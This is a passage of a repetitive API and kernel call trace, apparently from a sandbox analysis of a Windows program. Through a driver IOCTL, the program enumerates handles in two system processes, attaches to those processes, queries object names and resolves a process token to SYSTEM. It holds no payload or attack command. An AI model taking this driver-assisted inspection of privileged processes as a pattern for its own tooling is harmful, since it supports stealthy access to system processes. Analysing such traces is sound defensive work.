lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0103.802] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.802] PsAcquireProcessExitSynchronization () returned 0x0 [0103.802] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.802] ObReferenceObjectByHandle (in: Handle=0x608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8010dc5970, HandleInformation=0x0) returned 0x0 [0103.802] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.802] PsReleaseProcessExitSynchronization () returned 0x2 [0103.802] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.802] ObQueryNameString (in: Object=0xfffffa8010dc5970, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.802] ObfDereferenceObject (Object=0xfffffa8010dc5970) returned 0x2 [0103.802] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.802] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.802] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.802] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.802] PsAcquireProcessExitSynchronization () returned 0x0 [0103.802] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.802] ObReferenceObjectByHandle (in: Handle=0x724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035681b0, HandleInformation=0x0) returned 0x0 [0103.802] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.802] PsReleaseProcessExitSynchronization () returned 0x2 [0103.802] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.802] ObQueryNameString (in: Object=0xfffffa80035681b0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.802] ObfDereferenceObject (Object=0xfffffa80035681b0) returned 0x2 [0103.802] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.802] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.802] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.803] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.803] PsAcquireProcessExitSynchronization () returned 0x0 [0103.803] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.987] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8010307f20, HandleInformation=0x0) returned 0x0 [0103.987] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.987] PsReleaseProcessExitSynchronization () returned 0x2 [0103.987] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdf [0103.987] ObQueryNameString (in: Object=0xfffffa8010307f20, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.987] ObfDereferenceObject (Object=0xfffffa8010307f20) returned 0x2 [0103.987] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.987] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.987] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.987] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.987] PsAcquireProcessExitSynchronization () returned 0x0 [0103.988] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.988] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800352e5a0, HandleInformation=0x0) returned 0x0 [0103.988] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.988] PsReleaseProcessExitSynchronization () returned 0x2 [0103.988] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdf [0103.988] ObQueryNameString (in: Object=0xfffffa800352e5a0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.988] ObfDereferenceObject (Object=0xfffffa800352e5a0) returned 0x2 [0103.988] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.988] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.988] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.988] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.988] PsAcquireProcessExitSynchronization () returned 0x0 [0103.988] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.988] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80023916f0, HandleInformation=0x0) returned 0x0 [0103.988] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.988] PsReleaseProcessExitSynchronization () returned 0x2 [0103.988] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdf [0103.988] ObQueryNameString (in: Object=0xfffffa80023916f0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.988] ObfDereferenceObject (Object=0xfffffa80023916f0) returned 0x2 [0103.988] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.988] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.988] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0103.988] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.989] PsAcquireProcessExitSynchronization () returned 0x0 [0103.989] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.989] ObReferenceObjectByHandle (in: Handle=0x768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035a2b80, HandleInformation=0x0) returned 0x0 [0103.989] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.989] PsReleaseProcessExitSynchronization () returned 0x2 [0103.989] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdf [0103.989] ObQueryNameString (in: Object=0xfffffa80035a2b80, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.989] ObfDereferenceObject (Object=0xfffffa80035a2b80) returned 0x1 [0103.989] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.989] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.989] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0103.989] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.989] PsAcquireProcessExitSynchronization () returned 0x0 [0103.989] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.989] ObReferenceObjectByHandle (in: Handle=0x89c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80023c7580, HandleInformation=0x0) returned 0x0 [0103.989] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.989] PsReleaseProcessExitSynchronization () returned 0x2 [0103.989] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdf [0103.989] ObQueryNameString (in: Object=0xfffffa80023c7580, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.989] ObfDereferenceObject (Object=0xfffffa80023c7580) returned 0x1 [0103.989] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.989] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.989] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0103.989] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.989] PsAcquireProcessExitSynchronization () returned 0x0 [0103.989] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.989] ObReferenceObjectByHandle (in: Handle=0x8e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019bb3f0, HandleInformation=0x0) returned 0x0 [0103.990] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.990] PsReleaseProcessExitSynchronization () returned 0x2 [0103.990] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdf [0103.990] ObQueryNameString (in: Object=0xfffffa80019bb3f0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.990] ObfDereferenceObject (Object=0xfffffa80019bb3f0) returned 0x2 [0103.990] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.990] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.990] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0103.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.990] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8003058b30, HandleInformation=0x0) returned 0x0 [0103.990] ObOpenObjectByPointer (in: Object=0xfffffa8003058b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0103.990] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x41 [0103.990] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa80021bc440 | out: TokenHandle=0xfffffa80021bc440*=0xc8) returned 0x0 [0103.990] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0103.990] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.990] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.990] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.992] CloseHandle (hObject=0xc8) returned 1 [0103.992] CloseHandle (hObject=0xc0) returned 1 [0103.992] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.992] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.992] PsAcquireProcessExitSynchronization () returned 0x0 [0103.992] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0) [0103.992] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030867a0, HandleInformation=0x0) returned 0x0 [0103.992] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.992] PsReleaseProcessExitSynchronization () returned 0x2 [0103.992] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0103.992] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.992] ObfDereferenceObject (Object=0xfffffa80030867a0) returned 0x1 [0103.992] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.993] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.993] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.993] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.993] PsAcquireProcessExitSynchronization () returned 0x0 [0103.993] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0) [0103.993] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003059550, HandleInformation=0x0) returned 0x0 [0103.993] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.993] PsReleaseProcessExitSynchronization () returned 0x2 [0103.993] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0103.993] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.993] ObfDereferenceObject (Object=0xfffffa8003059550) returned 0x1 [0103.993] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.993] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.993] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.993] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.993] PsAcquireProcessExitSynchronization () returned 0x0 [0103.993] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0) [0103.993] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003107a00, HandleInformation=0x0) returned 0x0 [0103.993] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.993] PsReleaseProcessExitSynchronization () returned 0x2 [0103.993] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0103.993] ObQueryNameString (in: Object=0xfffffa8003107a00, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.993] ObfDereferenceObject (Object=0xfffffa8003107a00) returned 0x1 [0103.993] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.994] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.994] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0103.994] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.994] PsAcquireProcessExitSynchronization () returned 0x0 [0103.994] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0) [0103.994] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003109240, HandleInformation=0x0) returned 0x0 [0103.994] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.994] PsReleaseProcessExitSynchronization () returned 0x2 [0103.994] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0103.994] ObQueryNameString (in: Object=0xfffffa8003109240, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.994] ObfDereferenceObject (Object=0xfffffa8003109240) returned 0x2 [0103.994] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.994] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.994] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0103.994] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.994] PsAcquireProcessExitSynchronization () returned 0x0 [0103.994] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0) [0103.994] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031081a0, HandleInformation=0x0) returned 0x0 [0103.994] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.994] PsReleaseProcessExitSynchronization () returned 0x2 [0103.994] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0103.994] ObQueryNameString (in: Object=0xfffffa80031081a0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.994] ObfDereferenceObject (Object=0xfffffa80031081a0) returned 0x1 [0103.994] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.995] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.995] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0103.995] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.995] PsAcquireProcessExitSynchronization () returned 0x0 [0103.995] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff88004f095d0) [0103.995] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800310bc90, HandleInformation=0x0) returned 0x0 [0103.995] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.995] PsReleaseProcessExitSynchronization () returned 0x2 [0103.995] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0103.995] ObQueryNameString (in: Object=0xfffffa800310bc90, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.995] ObfDereferenceObject (Object=0xfffffa800310bc90) returned 0x1 [0103.995] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.995] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.995] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.995] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004f09558 | out: 